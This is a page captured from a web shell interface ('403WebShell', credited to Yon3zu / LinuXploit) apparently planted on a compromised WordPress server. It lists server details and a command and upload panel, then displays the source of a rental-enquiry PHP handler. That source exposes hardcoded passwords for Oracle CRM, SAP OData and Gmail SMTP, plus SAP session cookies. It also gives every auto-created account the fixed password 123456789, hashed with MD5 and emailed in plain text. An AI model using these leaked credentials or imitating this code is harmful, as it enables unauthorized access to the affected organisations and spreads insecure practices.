Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.217.50
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/themes/hello-elementor-child/custom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/themes/hello-elementor-child/custom/createenquiry.php
<?php

include('../../../../wp-config.php');
global $wpdb;
//print_r($wpdb);exit;
$full_name = $_POST['full_name'];
$lead_email = $_POST['lead_email'];
$lead_phone = $_POST['lead_phone'];
$location = $_POST['location'];
$product_name = $_POST['product_name'];
$subsidary_products = $_POST['subsidary_products'];
$remarks = $_POST['remarks'];
$selected_date = $_POST['selected_date'];
$exp = explode("-",$selected_date);
$stdate = trim($exp[0]);
$enddate = trim($exp[1]);
$start_date = date("Y-m-d",strtotime($stdate));
$end_date = date("Y-m-d",strtotime($enddate));
$tablename ='wp_leads';
$date = date('Y-m-d H:i:s');
$user_ID = get_current_user_id();
// to store data in leads table
$result = $wpdb->insert('wp_leads', array(
		'full_name' => $full_name, 
		'user_id' => $user_ID ?? 0,	
		'lead_email' => $lead_email,
		'lead_phone' => $lead_phone,
		'rental_startdate' => $start_date,
		'rental_enddate' => $end_date,
		'location' => $location,
		'product_name' => $product_name,
		'subsidary_products' => $subsidary_products,
		'remarks'=> $remarks,
		'lead_created_on' => $date
	)); 
$lastid = $wpdb->insert_id; 

// send data to oracle crm api and get lead id
$curl = curl_init();
$postData = array();
$postData['Name'] = $full_name;
$postData['Stage_c'] = "Lead";
$postData['PrimaryContactPartyName'] = $full_name;
$postData['PrimaryContactEmailAddress'] = $lead_email;
$postData['PrimaryPhoneNumber'] = $lead_phone;
$postData['ProductGroupName'] = $subsidary_products;
$postData['LeadType_c'] = "Ebiz";
$postData['LeadSource_c'] = "RMS";
$postData['EquipmentType_c'] = "Rental";
$postData['Location_c'] = $location;
$postData['Remarks_c'] = $remarks;
$encodeJson = json_encode($postData);
curl_setopt_array($curl, array(
  CURLOPT_URL => 'https://eiik-test.fa.em2.oraclecloud.com/crmRestApi/resources/11.13.18.05/leads',
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS =>$encodeJson,
  CURLOPT_HTTPHEADER => array(
    'Content-Type: application/json',
    'Authorization: Basic '. base64_encode("GMMRMS01:Gmm#rms01")
  ),
));

$response = curl_exec($curl);
$httpcode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if (curl_errno($curl)) {
    $error_msg = curl_error($curl);
}
curl_close($curl);

$decode = json_decode($response,true);

if($httpcode == '201'){
	// oracle crm api response gets success update oracle crm lead id to rms leads table
	$update = $wpdb->update('wp_leads', array(
		'lead_id' => $decode['LeadId'],
		'lead_number' => $decode['LeadNumber'],
		'lead_source' => "RMS",
		'lead_type' => "Ebiz",
		'equipment_type' => "Rental",
		'crm_response' => $response,
		'lead_created_on' => $date
	),array('id' => $lastid));
	if($update){
		/*
		 * Initialize phpmailer class
		 */
		global $phpmailer;
		$phpmailer->isSMTP();
		$phpmailer->Host = 'smtp.gmail.com';
		$phpmailer->SMTPAuth = true;
		$phpmailer->Port = 587;
		$phpmailer->Username = 'saravana.kumar@itrosys.com';
		$phpmailer->Password = 'qrqq mphx huer sngj';
		$phpmailer->SMTPSecure = 'TLS';
		$phpmailer->From = 'saravana.kumar@itrosys.com';
		$phpmailer->FromName = 'Itrosys';
		// Add a recipient
		$phpmailer->addAddress($lead_email);

		// Add cc or bcc 
		//$phpmailer->addCC('saravanabtech2788@gmail.com');
		//$phpmailer->addBCC('bsaravanan88@gmail.com');

		// Set email format to HTML
		$phpmailer->isHTML(true);

		// Email subject
		$phpmailer->Subject = 'Thank You for Your Request';
		$name = ucwords($full_name);
		// Email body content
		$mailContent = "<h1>Dear $name</h1>
			<p>Thanks for Visiting us, Your enquiry is important for us, we have received your enquiry which is being sent to concern person and he will be responding you very soon.</p>
			<p>Thanks</p>
			<p>Team GRS</p>
			";
		$phpmailer->Body    = $mailContent;

		if(!$phpmailer->send()){
			echo 'Message could not be sent.';
			echo 'Mailer Error: ' . $phpmailer->ErrorInfo;
		}else{
			//After Email Sends Successfully leads details send to SAP initially generate csrf token and send data to sap 
			$getToken = generateToken();
			$token = $getToken['token'];
			$cookies = $getToken['cookies'];
			// after generate token pass it to csrf token and send data
			$send = sendToSAPCreateCustomer($token,$cookies,$full_name,$lead_email,$lead_phone,$lastid);
			//print_r($send);
			if($send['sap_customer_id'] != ''){
				$sap_customer_id = $send['sap_customer_id'];
				$user_ID = get_current_user_id();
					if($user_ID == 0){
						createNewCustomer($full_name,$lead_email,$lead_phone,$sap_customer_id);
						echo 1;
					}else{
						$ret = updateSAPCustomerid($sap_customer_id);
						echo 9;
					}
				
				//print_r($ret);
			}else{
				echo 5;
			}
			
		}
		
	}else{
		echo 2; // lead details update error
	}
}else if($httpcode == '400'){
	echo 4;
}else{
	echo $response; // oracle api errror
}

 function generateToken(){
	$curl = curl_init();
	curl_setopt_array($curl, array(
	  CURLOPT_URL => 'https://13.127.42.162:442/igwj/odata/SAP/YRMS_CUSTOMER_STATUS_SRV',
	  CURLOPT_RETURNTRANSFER => true,
	  CURLOPT_HEADER => true, // Include headers in the output
      CURLOPT_NOBODY => false, // Include the body in the output
      CURLOPT_HTTPGET => true, // For a GET request
	  CURLOPT_ENCODING => '',
	  CURLOPT_MAXREDIRS => 10,
	  CURLOPT_TIMEOUT => 0,
	  CURLOPT_FOLLOWLOCATION => true,
	  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
	  CURLOPT_CUSTOMREQUEST => 'GET',
	  CURLOPT_HTTPHEADER => array(
		'X-CSRF-Token: Fetch',
		'Authorization: Basic '. base64_encode("odata_gpq:GmmcoGPQ@123")
	  ),
	));

	$response = curl_exec($curl);

	curl_close($curl);
	//echo $response;

	$headers =[];//Read back response headers.
    curl_setopt($curl, CURLOPT_HEADERFUNCTION,function($curl, $header)use(&$headers){
    $len = strlen($header);
    array_push($headers,strtolower($header));return $len;});//Execute and close curl.
    $result = curl_exec($curl);//Retrieve token, cookies and set header.
    $token ='';
    foreach($headers as $h){
        if(strpos($h,'x-csrf-token:')!==false){
            list(,$token)= explode(': ', $h);
            $token = trim(preg_replace('/\s\s+/','', $token));
        }
    }
	// Separate headers and body
	$headerSize = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
	$header = substr($response, 0, $headerSize);
	$body = substr($response, $headerSize);

	// Extract cookies from headers
	preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $header, $matches);
	//$cookies = [];
	print_r($matches[1]);
	$imp = implode(";", $matches[1]);
	echo $imp;
	$cookies = 'Cookie : '.$imp;
	$data = array(
		'token' => $token,
		'cookie' => $cookies
	);
    return $data;
    //return $token;
}

function sendToSAPCreateCustomer($token, $cookies, $full_name, $lead_email, $lead_phone, $lastid) {
	require_once('sapapi.php');
    
    $sap_customer_id = $decode['d']['Status']['results'][0]['SapCustomerId'];

    $rms_customer_id = $decode['d']['Status']['results'][0]['RmsCustomerId'];
	
	$data = array(
		'sap_customer_id' => $sap_customer_id,
		'rms_customer_id' => $rms_customer_id
	);
    return $data;
} 

 function updateSAPCustomerid($sap_customer_id){
	 global $wpdb;
	$user_ID = get_current_user_id();
	$metaData = get_user_meta( $user_ID, 'sap_customer_id', $single = false );
	if($metaData == ''){
		$table_name = 'wp_usermeta';
		$data_update = array('sap_customer_id' => $sap_customer_id);
		$data_where = array('user_id' => $user_ID);
		$res = $wpdb->update($table_name , $data_update, $data_where); 
		echo 9; // update sap
	}else{
		echo 10; // do nothing
	}
} 
function createNewCustomer($full_name,$lead_email,$lead_phone,$sap_customer_id){
	global $wpdb;
	$username = $full_name;
	$pwd = 123456789;
	$uname = explode(" ",$full_name);
	$nickname = $uname[0];
	$userlogin = strtolower($nickname);
	$userData = array(
		'user_login'    =>  $userlogin,
		'user_pass'     =>  md5($pwd),
		'user_nicename'    =>  $full_name,
		'user_email'    =>  $lead_email,
		'user_registered' => date('Y-m-d H:i:s'),
		'display_name'  =>  $username
	);
	$result = $wpdb->insert('wp_users', $userData); 
	$users = $wpdb->insert_id;	
	add_user_meta( $users, 'first_name', $username );
	add_user_meta( $users, 'last_name', '' );
	add_user_meta( $users, 'description', '' );
	add_user_meta( $users, 'rich_editing', 'true' );
	add_user_meta( $users, 'syntax_highlighting', 'true' );
	add_user_meta( $users, 'comment_shortcuts', 'false' );
	add_user_meta( $users, 'admin_color', 'fresh' );
	add_user_meta( $users, 'use_ssl', '0' );
	add_user_meta( $users, 'show_admin_bar_front', 'true' );
	add_user_meta( $users, 'wp_user_level', '0' );
	add_user_meta( $users, 'last_update', time() );				     
	add_user_meta( $users, 'user_type', 1 ); // existing customers
	add_user_meta( $users, 'sap_customer_id', $sap_customer_id );
	add_user_meta( $users, 'contract_id', '' );
	add_user_meta( $users, 'user_verified', '0' );
	add_user_meta( $users, 'gstin', '' );
	add_user_meta( $users, 'user_option', '' );
	add_user_meta( $users, 'user_otp', '' );
	add_user_meta( $users, 'user_otp_verified', 0 ); // defaultly 0->Valid, 1->Expired,2->verified
	add_user_meta( $users, 'location', '');
	add_user_meta( $users, 'product_name', '');
	add_user_meta( $users, 'remarks', '');
	add_user_meta( $users, 'country_id', '');
	add_user_meta( $users, 'city_id', '');
	add_user_meta( $users, 'user_pincode', '');
	add_user_meta( $users, 'user_region_id', '');
	add_user_meta( $users, 'user_street', '');
	add_user_meta( $users, 'user_phone', '');
	add_user_meta( $users, 'gmmco_existing_customer', 1); //2->existing customer, 1-> new customer
	$my_user = new WP_User( $users );
	$my_user->set_role( "customer" );
	global $phpmailer;
	$phpmailer->isSMTP();
	$phpmailer->Host = 'smtp.gmail.com';
	$phpmailer->SMTPAuth = true;
	$phpmailer->Port = 587;
	$phpmailer->Username = 'saravana.kumar@itrosys.com';
	$phpmailer->Password = 'qrqq mphx huer sngj';
	$phpmailer->SMTPSecure = 'TLS';
	$phpmailer->From = 'saravana.kumar@itrosys.com';
	$phpmailer->FromName = 'Itrosys';
	// Add a recipient
	$phpmailer->addAddress($lead_email);

	// Add cc or bcc 
	//$phpmailer->addCC('saravanabtech2788@gmail.com');
	//$phpmailer->addBCC('bsaravanan88@gmail.com');

	// Set email format to HTML
	$phpmailer->isHTML(true);

	// Email subject
	$phpmailer->Subject = 'Your Gmmco account has been created!';
	$name = ucwords($full_name);
	// Email body content
	$mailContent = "<h1>Dear $username</h1>
		<p>Thanks for creating an account on Gmmco. Your username is $username.</p>
		<p>Your Usename: $lead_email</p>
		<p>Your Password: 123456789</p>
		<p>You can access your account area to view orders, change your password, and more at: https://gmmco.devitrosys.com/my-account/</p>
		<p>We look forward to seeing you soon.</p>
		<p>Thanks</p>
		<p>Team GRS</p>
		";
	$phpmailer->Body    = $mailContent;

	if(!$phpmailer->send()){
		echo 'Message could not be sent.';
		echo 'Mailer Error: ' . $phpmailer->ErrorInfo;
	}else{
		//success mesage display
	}
}
/** function sendToSAPCreateCustomer($token,$full_name,$lead_phone,$lastid){
  /* $curl = curl_init();
  $data = array(
		"CustomerName" => $full_name,
		"CustomerPhone" => $lead_phone,
		"RmsCustomerId" => (string)$lastid,
		"Status" => array(new ArrayObject())
	);
  $postData['CustomerName'] = $full_name;
  $postData['CustomerPhone'] = $lead_phone;
  $postData['RmsCustomerId'] = (string)$lastid;
  $postData['Status'] = array(new ArrayObject());  
  $enc = json_encode($data);
  
  curl_setopt_array($curl, array(
  CURLOPT_URL => 'https://13.127.42.162:442/igwj/odata/SAP/YRMS_CUSTOMER_STATUS_SRV/HeaderSet',
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS =>$enc,
  CURLOPT_HTTPHEADER => array(
    'X-CSRF-Token: sPHDUogb0aIyycKCS8lcObAzoFy-0FUNNdc',
    'Content-Type: application/json',
    'Authorization: Basic '. base64_encode("odata_gpq:GmmcoGPQ@123"),
    'Cookie: JSESSIONID=4yOG8ueuzrWJmKp-QpEeYa60pu-ZjwE2_UkA_SAPanz8UbplJ7UBGJPTOz0ZghJ2; JSESSIONMARKID=VeGfygfJeJvtFprOQTzLNBeCxQbzkkUg011zb9SQA; sapextlb_GPQ=SAP_WDISP_EXTSRV_0_6A19DDB742179278; saplb_*=(J2EE4848920)4848950'
  ),
));

$response = curl_exec($curl);
$header_info = curl_getinfo($curl,CURLINFO_HEADER_OUT);
curl_close($curl);
echo $response;
print_r($response); 
$data = array(
    'CustomerName' => $full_name,
    'CustomerPhone' => $lead_phone,
    'RmsCustomerId' => (string)$lastid,
    'Status' => array(new ArrayObject())
);

$postFields = json_encode($data);

$ch = curl_init();

$url = 'https://13.127.42.162:442/igwj/odata/SAP/YRMS_CUSTOMER_STATUS_SRV/HeaderSet';

$username = 'odata_gpq';
$password = 'GmmcoGPQ@123';

$headers = array(
    'Content-Type: application/json',
    'x-csrf-token: ' . $token,
    'Authorization: Basic ' . base64_encode("$username:$password")
);

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

if(curl_errno($ch)){
    echo 'Curl error: ' . curl_error($ch);
}

curl_close($ch);

echo $response;

  /* $curl = curl_init();

  curl_setopt_array($curl, array(
  CURLOPT_URL => 'https://13.127.42.162:442/igwj/odata/SAP/YRMS_CUSTOMER_STATUS_SRV/HeaderSet',
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_SSL_VERIFYPEER => false,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS =>'{ "CustomerName": "Prajan", "CustomerPhone": "9864737375", "RmsCustomerId": "38", "Status": [ {} ] }',
  CURLOPT_HTTPHEADER => array(
    'X-CSRF-Token: '.$token,
    'Content-Type: application/json',
    'Authorization: Basic '. base64_encode("odata_gpq:GmmcoGPQ@123"),
    'Cookie: JSESSIONID=4yOG8ueuzrWJmKp-QpEeYa60pu-ZjwE2_UkA_SAPanz8UbplJ7UBGJPTOz0ZghJ2; JSESSIONMARKID=VeGfygfJeJvtFprOQTzLNBeCxQbzkkUg011zb9SQA; sapextlb_GPQ=SAP_WDISP_EXTSRV_0_6A19DDB742179278; saplb_*=(J2EE4848920)4848950'
  ),
));

$response = curl_exec($curl);

curl_close($curl);
echo $response; */
 
//}

Youez - 2016 - github.com/yon3zu
LinuXploit